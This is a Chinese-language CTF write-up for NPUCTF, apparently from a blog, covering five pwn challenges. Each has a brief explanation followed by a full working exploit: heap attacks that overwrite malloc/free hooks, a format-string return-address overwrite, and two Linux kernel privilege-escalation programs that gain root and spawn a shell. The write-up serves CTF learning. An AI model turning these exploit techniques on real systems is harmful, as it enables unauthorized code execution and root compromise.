NPUCTF

西工大、北邮、西电联合举办的一场CTF比赛,逼疯了不知多少懵懂的CTFer(我也在里面)

BAD GUY

edit处自定size,简单的堆溢出,fastbin attack并利用stdout打印libc地址,再次利用fastbin attack申请chunk并修改malloc_hook为rce

1
from pwn import*
2
def new(index,size,content):
3
	p.sendlineafter('>>','1')
4
	p.sendlineafter('Index :',str(index))
5
	p.sendlineafter('size:',str(size))
6
	p.sendafter('Content:',content)
7
def edit(index,size,content):
8
	p.sendlineafter('>>','2')
9
	p.sendlineafter('Index :',str(index))
10
	p.sendlineafter('size:',str(size))
11
	p.sendafter('content:',content)
12
def free(index):
13
	p.sendlineafter('>>','3')
14
	p.sendlineafter('Index :',str(index))
15
p = process('./main')
16
p = remote('ha1cyon-ctf.fun',30224)
17
libc = ELF('./libc-2.23.so',checksec=False)
18
context.log_level ='DEBUG'
19
new(0,0x10,'FMYY') #0
20
new(1,0x60,'FMYY') #1
21
new(2,0x60,'FMYY') #2
22
new(3,0x10,'FMYY') #3
23
new(4,0x80,'FMYY') #4
24
new(5,0x60,'FMYY') #5
25
new(6,0x60,'FMYY') #6
26
new(7,0x60,'FMYY') #7
27
free(5)
28
free(1)
29
edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x20')
30
free(4)
31
edit(3,0x22,'\x00'*0x10 + p64(0) + p64(0x71) + '\xDD\x25')
32
new(1,0x60,'FMYY')
33
new(4,0x60,'FMYY')
34
new(4,0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88')
35
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
36
log.info('LIBC:\t' + hex(libc_base))
37
malloc_hook = libc_base + libc.sym['__malloc_hook']
38
rce = libc_base + 0xF1147
39
free(6)
40
free(1)
41
edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x90')
42
edit(7,8,p64(malloc_hook - 0x23))
43
new(2,0x60,'FMYY')
44
new(2,0x60,'FMYY')
45
new(2,0x60,'\x00'*0x13 + p64(rce))
46
p.sendlineafter('>>','1')
47
p.sendlineafter('Index :',str(0))
48
p.sendlineafter('size:',str(16))
49
p.interactive()

下载

MAIN EXP LIBC

easyheap

offbyone,修改下一个块的size域,填满tcache结构,然后利用overlapping即可往下一个块上写上libc地址,然后就是tcache dup修改free_hook为rce

1
from pwn import*
2
from LD import*
3
def new(size,content):
4
	p.sendlineafter('choice :','1')
5
	p.sendlineafter(': ',str(size)) #0x18 OR 0x38
6
	p.sendafter('Content:',content)
7
def edit(index,content):
8
	p.sendlineafter('choice :','2')
9
	p.sendlineafter('Index :',str(index))
10
	p.sendafter('Content:',content)
11
def show(index):
12
	p.sendlineafter('choice :','3')
13
	p.sendlineafter('Index :',str(index))
14
def free(index):
15
	p.sendlineafter('choice :','4')
16
	p.sendlineafter('Index :',str(index))
17
18
libc = ELF('./libc-2.27.so',checksec=False)
19
LD=change_ld('./main','./ld-2.27.so')
20
p = LD.process(env={'LD_PRELOAD':'./libc-2.27.so'})
21
#p = remote('ha1cyon-ctf.fun',30032)
22
p = process('./main')
23
context.log_level ='DEBUG'
24
for i in range(8):
25
	new(0x18,'FMYY')
26
for i in range(7):
27
	edit(i,'\x00'*0x10 + p64(0) + '\xC1')
28
for i in range(1,8):
29
	free(i)
30
new(0x38,'FMYY') #1
31
new(0x38,'FMYY') #2
32
new(0x38,'FMYY') #3
33
new(0x38,'FMYY') #4
34
new(0x38,'FMYY') #5
35
edit(1,'\x00'*0x38 + '\xC1')
36
free(2)
37
new(0x38,'FMYY') #2
38
show(3)
39
p.recvuntil('Content : ')
40
libc_base  = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook']
41
log.info('LIBC:\t' + hex(libc_base))
42
malloc_hook = libc_base + libc.sym['__malloc_hook']
43
free_hook = libc_base + libc.sym['__free_hook']
44
rce = libc_base + 0x4F322
45
new(0x38,'FMYY') #6
46
new(0x38,'FMYY') #7
47
free(3)
48
edit(6,p64(free_hook)) 
49
new(0x38,'FMYY') #3
50
new(0x38,p64(rce)) #4
51
free(0)
52
p.interactive()

下载

MAIN EXP LIBC

level2

简单的格式化字符串漏洞,可以多次利用栈链修改返回地址为rce

1
from pwn import*
2
#p = remote('ha1cyon-ctf.fun',30196)
3
p = process('./main')
4
libc= ELF('./libc-2.27.so')
5
payload = 'LIBC:%7$p' + 'PIE:%6$p' + 'Stack:%9$p'
6
p.send(payload)
7
p.recvuntil('LIBC:')
8
libc_base = int(p.recv(14),16) - libc.sym['__libc_start_main'] -231
9
log.info('LIBC:\t' + hex(libc_base))
10
p.recvuntil('PIE:')
11
pie = int(p.recv(14),16) - 0x830
12
log.info('PIE:\t' + hex(pie))
13
p.recvuntil('Stack:')
14
stack = int(p.recv(14),16) - 232
15
log.info('Stack:\t' + hex(stack))
16
rce = libc_base + 0x10A38C
17
offset = stack&0xFFFF
18
off_1 = rce&0xFFFF
19
off_2=(rce>>16)&0xFFFF
20
off_3=(rce>>32)&0xFFFF
21
22
payload  ='%' + str(offset+8) + 'c' +'%9$hnFMYY\x00'
23
p.sendline(payload)
24
p.recvuntil('FMYY')
25
payload  ='%' + str(off_1) + 'c' +'%35$hnFMYY\x00'
26
p.sendline(payload)
27
p.recvuntil('FMYY')
28
payload  ='%' + str(offset+10) + 'c' +'%9$hnFMYY\x00'
29
p.sendline(payload)
30
p.recvuntil('FMYY')
31
payload  ='%' + str(off_2) + 'c' +'%35$hnFMYY\x00'
32
p.sendline(payload)
33
p.recvuntil('FMYY')
34
p.sendline('66666666\x00')
35
p.interactive()

下载

MAIN EXP LIBC

Learn-Kernel-From-ROP

一个入门的内核ROP题,没有canary,没有开启kaslr,直接找到gadget,用ret2usr做即可

1
#include<stdio.h>
2
#include<stdlib.h>
3
#include<string.h>
4
#include <unistd.h>
5
#include <fcntl.h>
6
#include <sys/stat.h>
7
#include <sys/types.h>
8
#include <sys/ioctl.h>
9
10
size_t user_cs, user_ss, user_rflags, user_sp;
11
void save_status()
12
{
13
    __asm__("mov user_cs, cs;"
14
            "mov user_ss, ss;"
15
            "mov user_sp, rsp;"
16
            "pushf;"
17
            "pop user_rflags;"
18
            );
19
    puts("[*]status has been saved.");
20
}
21
22
void get_shell()
23
{
24
	system("/bin/sh");
25
}
26
size_t commit_creds = 0,prepare_kernel_cred = 0;
27
28
size_t find_symbols()
29
{
30
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
31
32
    if(kallsyms_fd < 0)
33
    {
34
        puts("[*]open kallsyms error!");
35
        exit(0);
36
    }
37
38
    char buf[0x30] = {0};
39
    while(fgets(buf, 0x30, kallsyms_fd))
40
    {
41
        if(commit_creds & prepare_kernel_cred)
42
            return 0;
43
44
        if(strstr(buf, "commit_creds") && !commit_creds)
45
        {
46
            char hex[20] = {0};
47
            strncpy(hex, buf, 16);
48
            sscanf(hex, "%llx", &commit_creds);
49
            printf("commit_creds: %p\n", commit_creds);
50
        }
51
52
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
53
        {
54
            char hex[20] = {0};
55
            strncpy(hex, buf, 16);
56
            sscanf(hex, "%llx", &prepare_kernel_cred);
57
            printf("prepare_kernel_cred: %p\n", prepare_kernel_cred);
58
        }
59
    }
60
61
    if(!(prepare_kernel_cred & commit_creds))
62
    {
63
        puts("[*]Error!");
64
        exit(0);
65
    }
66
67
}
68
69
void get_root()
70
{
71
    char* (*pkc)(int) = prepare_kernel_cred;
72
    void (*cc)(char*) = commit_creds;
73
    (*cc)((*pkc)(0));
74
}
75
76
int main()
77
{
78
	size_t iretq = 0xFFFFFFFF811335EF;		//iretq;
79
	size_t swapgs_ret = 0xFFFFFFFF817B6B48;		//swapgs; ret;
80
	save_status();
81
	int fd = open("/dev/vuln",2);
82
	if(fd < 0)
83
    {
84
        puts("[*]open /dev/vuln error!");
85
        exit(0);
86
    }
87
    find_symbols();
88
    char rop[0xB0];
89
    memset(rop,1,0xB0);
90
    *((size_t*)(rop+0x74)) = (size_t)get_root;
91
    *((size_t*)(rop+0x7C)) = swapgs_ret;
92
    *((size_t*)(rop+0x84)) = iretq;
93
    *((size_t*)(rop+0x8C)) = (size_t)get_shell;
94
    *((size_t*)(rop+0x94)) = user_cs;
95
    *((size_t*)(rop+0x9C)) = user_rflags;
96
    *((size_t*)(rop+0xA4)) = user_sp;
97
    *((size_t*)(rop+0xAC)) = user_ss;
98
    puts("[*] Build Success");
99
    write(fd,rop,200);
100
    close(fd);
101
    return 0;
102
}

下载

VMLinux EXP Source

ezdrv

完全不会利用的一个题,其他师傅说简单,我还是第一次爆破cred地址,洞很好找,就是如何利用不太清除,看了wp才知道是爆破cred从而改cred空间里面的值
因为notice处有个最多0x20大小的字节的溢出,则可以溢出修改note_list中的指针,且给定cred的地址范围,此外在脚本最初更改进程名字,根据进程名称可以确定cred空间的具体位置,然后进行修改本进程的cred空间内的值

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <sys/stat.h>
5
#include <fcntl.h>
6
#include <string.h>
7
#include <sys/prctl.h>
8
//0x10000001
9
struct New{
10
	size_t size;
11
	char *buf;
12
};
13
//0x10000002
14
struct View{
15
	unsigned int idx;
16
	size_t size;
17
	char *buf;
18
};
19
//0x100000003
20
struct Free{
21
	unsigned int idx;
22
};
23
//0x100000004
24
struct Edit{
25
	unsigned int idx;
26
	size_t size;
27
	char *buf;
28
};
29
int main()
30
{
31
    size_t flag,result;
32
    int fd = open("/dev/vuln",O_RDWR);
33
    char Process_Name[] = "AZEZ_FIND";
34
    prctl(PR_SET_NAME , Process_Name);
35
    
36
    struct New  n;
37
    struct View v;
38
    struct Free f;
39
    struct Edit e;
40
    char *res = malloc(0x1000);
41
    char buf[0x100] = {0};
42
    memcpy(buf,"FMYY",4);
43
    n.buf = buf;
44
    n.size = 0x10;
45
    ioctl(fd,0x10000001,&n);
46
    flag = (0x1000 <<1) + 1;
47
    for(size_t start = 0xFFFF880000000000;start<0xFFFFC80000000000;start+=0x1000)
48
    {
49
    	memcpy(buf +0x40,&flag,8);
50
    	memcpy(buf +0x48,&start,8);
51
    	n.buf = buf;
52
    	n.size = 0x50;
53
    	ioctl(fd,0x10000001,&n);
54
    	f.idx = 1;
55
    	ioctl(fd,0x10000003,&f);
56
    	
57
    	v.idx = 0;
58
    	v.size = 0x1000;
59
    	v.buf = res;
60
    	ioctl(fd,0x10000002,&v);
61
    	result = memmem(res,0x1000,Process_Name,9);
62
    	if(result)
63
    	{
64
    		size_t cred = *(size_t*)(result-0x10);
65
    		size_t real_cred = *(size_t*)(result-0x8);
66
    		puts("[+] Have Found");
67
    		memcpy(buf+0x48,&cred,8);
68
    		n.size = 0x50;
69
    		n.buf = buf;
70
    		ioctl(fd,0x10000001,&n);
71
    		e.idx = 0;
72
    		e.size = 0x28;
73
    		char payload[0x28];
74
    		memset(payload,0,0x28);
75
			e.buf = payload;
76
			ioctl(fd,0x10000004,&e);
77
			puts("[+] ROOT-ME");
78
			system("/bin/sh");
79
    	}
80
    }
81
    close(fd);
82
    return 0;
83
}

EXP Source

Contents
  1. 1. BAD GUY
    1. 1.1. 下载
  2. 2. easyheap
    1. 2.1. 下载
  3. 3. level2
    1. 3.1. 下载
  4. 4. Learn-Kernel-From-ROP
    1. 4.1. 下载
  5. 5. ezdrv
|